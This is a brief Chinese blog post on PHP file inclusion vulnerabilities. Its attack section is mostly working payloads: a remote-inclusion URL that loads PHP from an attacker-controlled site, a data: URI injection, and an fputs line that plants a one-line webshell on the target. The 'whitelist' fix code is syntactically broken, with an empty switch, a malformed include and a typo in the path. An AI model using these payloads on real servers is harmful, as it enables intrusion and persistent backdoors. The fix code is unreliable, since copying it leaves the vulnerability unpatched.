美文网首页
文件包含漏洞

文件包含漏洞

作者: linkally | 来源:发表于2016-10-17 20:53 被阅读33次

当allow_url_open=on

allow_url_include=on

就会造成文件包含漏洞

http://要入侵的网站/vulnerabilities/fi/?page=http://本地网站/phpinfo.php

这样就可以执行phpinfo.php  中的phpinfo()函数

还有就是可以直接在服务器上fput上webshell一句话木马

fputs(fopen('rfi_shell.php','w'),'<php小马>)

http://127.0.0.1/rfi.php?file=data:text/plain,<上面的一句话也可以put进去>

修复代码,白名单思想

<?php

$file=$_GET['file'];

switch (){

case 'main';

case 'foo';

case 'bar';

include '/home/wwwroot/defualt' $file.php;

default '/home/wwwroot/default/index.php';

}

?>

相关文章

  • php安全

    文件包含漏洞** 本地文件包含**能打开并包含本地文件的漏洞,被称为本地文件包含漏洞(LFI)%00截断,php内...

  • 网络安全之文件包含漏洞总结

    介绍 文件包含漏洞属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直...

  • 文件包含漏洞

    定义:在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄...

  • 文件包含漏洞

    几乎所有的脚本语言中都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,在JSP...

  • 文件包含漏洞

    文件转载自https://blog.csdn.net/chence19871/article/details/51...

  • 文件包含漏洞

    文件包含漏洞 产生的原因:通过引入文件时,用户可控,没有严格的检验,或是被绕过,操作一些敏感文件,导致文件泄露和恶...

  • 文件包含漏洞

    文件包含 常见文件包含函数 利用条件 程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件 ...

  • 文件包含漏洞

    当allow_url_open=on allow_url_include=on 就会造成文件包含漏洞 http:/...

  • 文件包含漏洞

    一、文件包含漏洞简介 1、包含:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文...

  • 文件包含漏洞

    文件包含漏洞概述 在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用"包含"函数功能,比如...

网友评论

      本文标题:文件包含漏洞

      本文链接:https://www.haomeiwen.com/subject/dhjzyttx.html